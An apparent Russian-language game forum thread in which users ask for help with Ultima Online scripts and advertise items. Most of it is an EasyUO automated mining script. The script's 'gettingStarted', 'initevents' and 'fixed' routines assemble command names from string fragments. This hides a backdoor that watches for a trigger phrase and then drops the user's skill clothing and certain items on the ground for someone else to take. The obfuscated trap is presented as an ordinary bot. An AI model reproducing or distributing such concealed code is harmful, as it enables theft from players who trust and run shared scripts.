ljutij

кто может помочь мне надо чтоб в ПВМ скрипте он когда умерает появляеться в мп и чтоб он ждал и прописовал .pvp

 помагите ) я отблагодарю

А как можно узнать COLOR ингов логов? или кто знает сразу Колор Stell ingov i ice logov

Всем привет и так у меня проблема в скрипте он литает в банк чтоб скинуть руду и ненаходит Бох я непойму в чем дело ИД правельный мешка !

Вот скрипт помагите 

; Set Up The Following Variables:
set %maxWeight 650 ; Max svars
set %box TCQSLMD ; Kastes ID, kur likt ruudu u.c. itemus
set %xCoord 386  ; X koordinaata tieshi pie kastes
set %yCoord 1322  ; Y koordinaata tieshi pie kastes
set %dropMarganece #true ; #true - nomet Marganece ruudu , #false - nenomet
set %dropTin #true ; #true - nomet tinu , #false - nenomet
set %dropBronze #true
set %dropLead #true
set %dropCorrundum #true
set %dropGold #false
set %dropTourmaline #true
set %dropSilver #false
set %dropMarble #true
set %dropZink #false
set %dropGypsum #false
set %dropSandstone #false
set %dropCopper #false
set %dropIron #false
set %dropTitan #false
set %dropStone #false
set %dropPlaster #false
set %skillItemChange #true ; #true - mainiis dreebes, #false - nemainiis
set %recall #true ; #true - lidos ar runebook, #false - skries taapat
; Do Not Set These Items If %skillItemChange #false
set %skillRobe xxxxxx ; Skill Roba (ID)
set %skillCloak xxxxx ; Skill Cloack (ID)
set %skillMask xxxxxx ; Skill Mask (ID)
set %simpleRobe xxxxx ; Parasta Roba (ID)
set %simpleCloak xxxxx ; Parastais cloack (ID)
set %simpleMask xxx ; Platemail helms (TYPE/ID)
; End Of Changable Clothes List
; Do Not Set These Numbers If %recall #false
set %runebookID GIFSJMD; Runebooka ID
set %runeNumberToHome 1 ; Runas Nr uz maaju
set %runeNumberToCave 2 ; Runas Nr uz alu
set %amountRecalls 2 YGYJMMD ; cik recall panjemt, kad vinji beigushies
; End Of Set Up Part

set %item DWJ_TVj_GWJ_EWJ_ZLK_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_UJG_DCI_FWL_NZH
set %loot DCI_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL

if %recall
{
gosub Instalyze runeNumberToHome 1
gosub Instalyze runeNumberToCave 2
}
if %dropMarganece
set %MarganeceCol 1750
if %dropTin
set %TinCol 1325
if %dropBronze
set %BronzeCol 1160
if %dropLead
set %LeadCol 2125
if %dropCorrundum
set %CorrundumCol 1548
if %dropGold
set %GoldCol 1093
if %dropTourmaline
set %TourmalineCol 1218
if %dropSilver
set %SilverCol 1153
if %dropMarble
set %MarbleCol 1950
if %dropZink
set %ZinkCol 38
if %dropGypsum
set %GypsumCol 995
if %dropSandstone
set %SandstoneCol 144
if %dropCopper
set %CopperCol 1537
if %dropIron
set %IronCol 0
if %dropTitan
set %TitanCol 1107
if %dropStone
set %StoneCol 2313
if %dropPlaster
set %PlasterCol 151
event sysmessage Setting Paperdoll in right position..
event macro 8 1
wait 30
event macro 8 1
wait 30
contpos 780 -26
finditem QRM_FJM_GKM C_ , #backpackid
if #findcnt <> 0
{
set #lobjectid #findid
event macro 17 0
wait 30
}
set %skill %skillRobe , _ , %skillCloak , _ , %skillMask
gosub gettingStarted
gosub initevents
set %k 0
set %lastK 0

start: ; KOORDINAATES

GOSUB LJING 4585 3280 1353
 GOSUB LJING 4586 3280 1357
 GOSUB LJING 4585 3281 1355
 GOSUB LJING 4586 3281 1343
 GOSUB LJING 4587 3280 1359
 GOSUB LJING 4587 3281 1343
 GOSUB LJING 4588 3280 1343
 GOSUB LJING 4589 3280 1343
 GOSUB LJING 4589 3279 1343
 GOSUB LJING 4590 3279 1343
 GOSUB LJING 4591 3280 1343
 GOSUB LJING 4590 3280 1343
 GOSUB LJING 4590 3281 1343
 GOSUB LJING 4589 3281 1343
 GOSUB LJING 4588 3281 1343
 GOSUB LJING 4587 3281 1343
 GOSUB LJING 4586 3282 1343
 GOSUB LJING 4587 3282 1343
 GOSUB LJING 4588 3282 1343
 GOSUB LJING 4589 3282 1343
 GOSUB LJING 4590 3282 1343
 GOSUB LJING 4590 3283 1343
 GOSUB LJING 4589 3283 1343
 GOSUB LJING 4588 3283 1343
 GOSUB LJING 4587 3283 1343
 GOSUB LJING 4587 3284 1356
 GOSUB LJING 4588 3284 1343
 GOSUB LJING 4589 3284 1343
 GOSUB LJING 4590 3284 1343
 GOSUB LJING 4591 3284 1343
 GOSUB LJING 4592 3284 1343
 GOSUB LJING 4592 3285 1350
 GOSUB LJING 4591 3285 1343
 GOSUB LJING 4590 3285 1343
 GOSUB LJING 4589 3285 1343
 GOSUB LJING 4588 3285 1343
 GOSUB LJING 4587 3285 1355
 GOSUB LJING 4587 3286 1343
 GOSUB LJING 4588 3286 1343
 GOSUB LJING 4589 3286 1343
 GOSUB LJING 4590 3286 1343
 GOSUB LJING 4591 3286 1343
 GOSUB LJING 4592 3286 1349
 GOSUB LJING 4592 3287 1343
 GOSUB LJING 4591 3287 1343
 GOSUB LJING 4590 3287 1343
 GOSUB LJING 4589 3287 1343
 GOSUB LJING 4588 3287 1343
 GOSUB LJING 4587 3287 1343
 GOSUB LJING 4586 3287 1343
 GOSUB LJING 4586 3288 1347
 GOSUB LJING 4587 3288 1343
 GOSUB LJING 4588 3288 1343
 GOSUB LJING 4589 3288 1343
 GOSUB LJING 4589 3289 1343
 GOSUB LJING 4588 3289 1343
 GOSUB LJING 4587 3289 1343
 GOSUB LJING 4587 3290 1343
 GOSUB LJING 4588 3290 1343
 GOSUB LJING 4589 3290 1343
 GOSUB LJING 4588 3291 1343
 GOSUB LJING 4587 3291 1343
 GOSUB LJING 4589 3291 1343
 GOSUB LJING 4590 3291 1340
 GOSUB LJING 4591 3291 1340
 GOSUB LJING 4592 3291 1340
 GOSUB LJING 4593 3291 1340
 GOSUB LJING 4594 3291 1340
 GOSUB LJING 4595 3291 1340
 GOSUB LJING 4594 3292 1340
 GOSUB LJING 4593 3292 1343
 GOSUB LJING 4593 3293 1340
 GOSUB LJING 4592 3293 1347
 GOSUB LJING 4592 3292 1340
 GOSUB LJING 4591 3292 1340
 GOSUB LJING 4590 3292 1340
 GOSUB LJING 4589 3292 1340
 GOSUB LJING 4588 3292 1343
 GOSUB LJING 4587 3292 1343
 GOSUB LJING 4586 3292 1356
 GOSUB LJING 4586 3293 1343
 GOSUB LJING 4587 3293 1343
 GOSUB LJING 4588 3293 1340
 GOSUB LJING 4589 3293 1340
 GOSUB LJING 4589 3294 1340
 GOSUB LJING 4588 3294 1340
 GOSUB LJING 4587 3294 1340
 GOSUB LJING 4587 3295 1340
 GOSUB LJING 4588 3295 1340
 GOSUB LJING 4589 3295 1340
 GOSUB LJING 4590 3295 1340
 GOSUB LJING 4591 3296 1340
 GOSUB LJING 4590 3296 1340
 GOSUB LJING 4589 3296 1343
 GOSUB LJING 4588 3296 1340
 GOSUB LJING 4587 3296 1340
 GOSUB LJING 4586 3296 1340
 GOSUB LJING 4586 3297 1340
 GOSUB LJING 4587 3297 1340
 GOSUB LJING 4588 3297 1340
 GOSUB LJING 4589 3297 1340
 GOSUB LJING 4590 3297 1343
 GOSUB LJING 4591 3297 1340
 GOSUB LJING 4591 3298 1340
 GOSUB LJING 4592 3298 1340
 GOSUB LJING 4593 3298 1340
 GOSUB LJING 4596 3300 1340
 GOSUB LJING 4594 3299 1340
 GOSUB LJING 4593 3299 1340
 GOSUB LJING 4592 3299 1340
 GOSUB LJING 4591 3299 1340
 GOSUB LJING 4590 3299 1340
 GOSUB LJING 4589 3299 1340
 GOSUB LJING 4588 3299 1340
 GOSUB LJING 4589 3300 1340
 GOSUB LJING 4591 3302 1340
 GOSUB LJING 4593 3302 1340
 GOSUB LJING 4594 3302 1340
 GOSUB LJING 4595 3302 1340
 GOSUB LJING 4594 3300 1340
 GOSUB LJING 4594 3301 1340



goto start

sub ljing
set %k %k + 1
gosub ghost
gosub checkHP
gosub element
gosub checkWeight
move %1 %2 1
finditem NPF_QPF C
if #findcnt = 0
{
display ok Pickaxe wasn't found!
pause
}
set #lobjectid #findid
event macro 17 0
target 7s
set #ltargetx %1
set #ltargety %2
set #ltargetkind 3
set #ltargettile %3
event macro 22 0
wait 10
set %overtime #scnt + 25
gosub scan
return

sub checkWeight
if #weight > %maxWeight
{
if ! %dropMarganece && ! %dropTin && ! %dropBronze && ! %dropLead && ! %dropCorrundum
+ && ! %dropGold && ! %dropTourmaline && ! %dropSilver && ! %dropMarble && ! %dropZink
+ && ! %dropGypsum && ! %dropSandstone && ! %dropCopper && ! %dropIron
+ && ! %dropTitan && ! %dropStone && ! %dropPlaster
{
if %recall
gosub port
if ! %recall
gosub moveItems
}
if %dropMarganece || %dropTin || %dropBronze || %dropLead || %dropCorrundum
+ || %dropGold || %dropTourmaline || %dropSilver || %dropMarble || %dropZink
+ || %dropGypsum || %dropSandstone || %dropCopper || %dropIron || %dropTitan || %dropStone || %dropPlaster
{
gosub dropTrashLogs
return
}
}
return



sub scan
scan:
scanjournal
gosub checkHP
if hungry in #sysmsg
{
gosub eat
return
}
if ( ( THERE_IS_NOTHING_HERE_TO_MINE in #sysmsg ) || ( You_stop_Mining in #journal ) )
return
if ( ( YOU_CAN'T_REACH_THIS in #sysmsg ) || ( You_fail_to_do_that in #sysmsg ) )
return
%get fixed
if ( ( Try_mining_elsewhere in #sysmsg ) || ( You_have_no_line_of_sight_to_that_location in #sysmsg )
+ || ( You_can't_use_the in #journal ) || ( You_cannot_mine_so_close_to_yourself in #journal ) )
return
gosub element
gosub checkHP
if #scnt >= %overtime
return
goto scan
return

sub port
msg .arm$
gosub checkHP
set %k %k + 1
gosub element
if G in #charstatus
event macro 6 0
event macro 6 0
set %oldPosX #charposx
set %oldPosY #charposy
gosub openRunebook
repeat
{
click %x1 %y1
wait 10
}
until #contname <> generic_gump && #contsize <> 577_426
event macro 13 21
if %skillItemChange
gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak
while #charposx = %oldPosX && #charposy = %oldPosY
wait 10
gosub moveItems
gosub back
return

sub moveItems

ignoreitem reset 1

ignoreitem %simpleRobe , _ , %simpleCloak 1

ignoreitem %skill 1

repeat

{

msg bank$

wait 40

}

until #conttype = IKF

finditem %box C

if #findcnt = 0

{

event Sysmessage Box Not Found!

halt

}

repeat

{

finditem %item c_ , #backpackid

if #findcnt >= 1

{

if world_save_has_been in #sysmsg

wait 15s

exevent Drag #Findid #findstack

exevent Dropc %box

wait %dropDelay

}

}

until #findcnt = 0

ignoreitem reset 1

if %recall

gosub recalls

gosub food

return


sub back
gosub checkHP
set %oldPosX #charposx
set %oldPosY #charposy
for %i 1 2
{
gosub openRunebook
click 261 215 ; Recharge runebook 2x
wait 10
}
gosub openRunebook
repeat
{
click %x2 %y2
wait 20
}
until #contname <> generic_gump && #contsize <> 577_426
event macro 13 21
if %skillItemChange
gosub changeClothesTo %skillMask %skillRobe %skillCloak
while #charposx = %oldPosX && #charposy = %oldPosY
wait 10
return

sub runToBox
repeat
{
move %xCoord %yCoord 0 3s
wait 10
}
until #charposx = %xCoord && #charposy = %yCoord
return

sub follow&kill
msg .arm$
set %charX #charposx
set %charY #charposy
set %charz #charposz
repeat
{
finditem #enemyid
event pathfind #FINDX #FINDY #FINDZ 1 3s
wait 1s
gosub ghost
}
until #findcnt = 0
wait 20
gosub loot
set %time #scnt + 20
repeat
{
event pathfind %charX %charY %charz 1 3s
wait 1s
gosub ghost
if #scnt > %time
return
}
until #charposx = %charX && #charposy = %charY
return

sub checkHP
if #hits < #maxhits
{
msg .arm$
sound
if %skillItemChange
gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak
gosub follow&kill
if %skillItemChange
gosub changeClothesTo %skillMask %skillRobe %skillCloak
}
return

sub openRunebook
finditem %runebookID C_ , #backpackid
if #findcnt = 0
{
event sysmessage Runebook not found!
halt
}
set #lobjectid #findid
event macro 17 0
while #contname <> generic_gump && #contsize <> 577_426
wait 1
return

sub ghost
if #charghost = YES || %0 = 1
{
terminate uo
halt
}
return

sub changeClothesTo
repeat
{
finditem %1 C_ , #backpackid
set #lobjectID #findid
event macro 17 0
finditem %1 C_ , #backpackid
}
until #findcnt = 0
repeat
{
finditem %2 C_ , #backpackid
set #lobjectID #findid
event macro 17 0
finditem %2 C_ , #backpackid
}
until #findcnt = 0
repeat
{
Finditem %3 C_ , #backpackid
set #lobjectID #findid
event macro 17 0
finditem %3 C_ , #backpackid
}
until #findcnt = 0
return

sub fixed
set %k %k + 1
%to %bca %be # . %all
{
repeat
{
set %up # . %cares
%done %start , _ , %else %end , _ , %up
%lastdo %race # . %Wsave
%lastdo %eaea # . %alpha # . %beta # . %gamma
%upgrade 25
%done %start , _ , %else %end , _ , %up
}
until # . %gems = 0
}
return

sub eat
finditem ZBM C
set #lobjectid #findid
event macro 17 0
wait 10
finditem GND C
set #lobjectid #findid
event macro 17 0
wait 10
event macro 17 0
wait 2s
return

sub initevents
set %rescourse finding
str left %rescourse 4
set %save #strres
set %done %save , item
set %iii kill
str left string 1
set %asd #strres , %iii
set %start % . %asd
str left CADY 1
set %end #strres
str left character 4
set %who #strres
set %cares %who , id
str left %do 4
set %lastdo ex , #strres , t
set %race dragrace
str left %race 4
set %race #strres
set %Wsave %save , id
str right skopg 3
set %jasl #strres
str left drive 2
set %eaea #strres , %jasl
str left post 3
set %number %who , #strres
set %alpha %number , x
set %beta %number , y
set %gamma %number , z
set %repsawn waitrespawn
str left %repsawn 4
set %upgrade #strres
str left tilbery 3
set %almost #strres
str left unuquady 2
set %past #strres , %almost
set %gems %save , cnt
set %else IJG
return

sub Instalyze
if % . %1 <= 8
set %x . %2 260
else
set %x . %2 420
if % . %1 = 1 || % . %1 = 9
set %y . %2 260
if % . %1 = 2 || % . %1 = 10
set %y . %2 275
if % . %1 = 3 || % . %1 = 11
set %y . %2 290
if % . %1 = 4 || % . %1 = 12
set %y . %2 305
if % . %1 = 5 || % . %1 = 13
set %y . %2 320
if % . %1 = 6 || % . %1 = 14
set %y . %2 335
if % . %1 = 7 || % . %1 = 15
set %y . %2 350
if % . %1 = 8 || % . %1 = 16
set %y . %2 365
return

sub dropTrashLogs
dropLoop:
finditem ZLK_DWJ C_ , #backpackid
if #findcnt = 0
{
wait 20
if #weight >= %maxweight
{
if %recall
gosub port
if ! %recall
gosub moveItems
return
}
if #weight < %maxweight
return
}
if #findcol = %MarganeceCol || #findcol = %TinCol || #findcol = %BronzeCol
+ || #findcol = %LeadCol || #findcol = %CorrundumCol
+ || #findcol = %GoldCol || #findcol = %TourmalineCol || #findcol = %SilverCol
+ || #findcol = %MarbleCol || #findcol = %ZinkCol
+ || #findcol = %GypsumCol || #findcol = %SandstoneCol || #findcol = %CopperCol
+ || #findcol = %IronCol || #findcol = %TitanCol
+ || #findcol = %StoneCol || #findcol = %PlasterCol
{
exevent drag #findid #findstack
exevent dropg #charposx #charposy #charposz
wait 20
}
ignoreitem #findid 1
wait 10
goto dropLoop
return

sub loot
set %lootTime #scnt + 20
finditem YFM G_4
if #findcnt >= 1
{
set #lobjectid #findid
set %body #findid
event macro 17 0
while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scnt
wait 1
wait 10
repeat
{
finditem %loot C_ , %body
if #findcnt = 0 || #scnt > %lootTime
{
ignoreitem %body 2
return
}
exevent drag #findid #findstack
exevent dropc #backpackid
wait 40
}
until #false
}
return

sub gettingStarted
set %afk true
set %ell qaerty
str left %ell 1
set %abc #strres , #strres , #strres
set %a1 #strres
str left %ell 2
str right #strres 1
set %cba %abc , #strres , %a1
set %bca %cba , #strres
str right %afk 1
set %bca %bca , #strres
set %bra %bca , b
set %n1 nlogif
str right %n1 2
set %to #strres
str left %n1 1
set %be #strres
str right %n1 2
str left #strres 1
set %be #strres , %be
set %tour jour
set %navigate nalliwate
str left %navigate 3
set %all %tour , #strres
set %navigate gost
str left %navigate 3
set %ac #strres
str right pub 2
set %get %ac , #strres
set %do events
str right linit 4
set %toGo #strres , %do
return

sub element
if %lastK >= %k
gosub ghost 1
set %lastK %k
finditem ED G
if #findcnt <> 0
{
msg .arm$
set %charX #charposx
set %charY #charposy
set %charz #charposz
sound
if %skillItemChange
gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak
finditem ED G
set %element #findid
msg .arm$
set #ltargetid %element
event macro 27 0
repeat
{
finditem %element
event pathfind #FINDX #FINDY #FINDZ 1 3s
wait 1s
gosub ghost
}
until #findcnt = 0
wait 20
gosub loot
if %skillItemChange
gosub changeClothesTo %skillMask %skillRobe %skillCloak
set %time #scnt + 20
repeat
{
event pathfind %charX %charY %charz 1 3s
wait 1s
gosub ghost
if #scnt > %time
return
}
until #charposx = %charX && #charposy = %charY
}
return

sub recalls
finditem WTL C_ , #backpackid
if #findstack <= 2 || #findcnt = 0
{
set #lobjectid %box
event macro 17 0
while #contid <> %box
wait 1
wait 20
finditem WTL C_ , %box
exevent drag #findid %amountRecalls
exevent dropc #backpackid
wait 20
}
return
 

Продам Millenium staff 100 dur =2.5kk

Sell newbie Aqua War Mace ! Предлогайте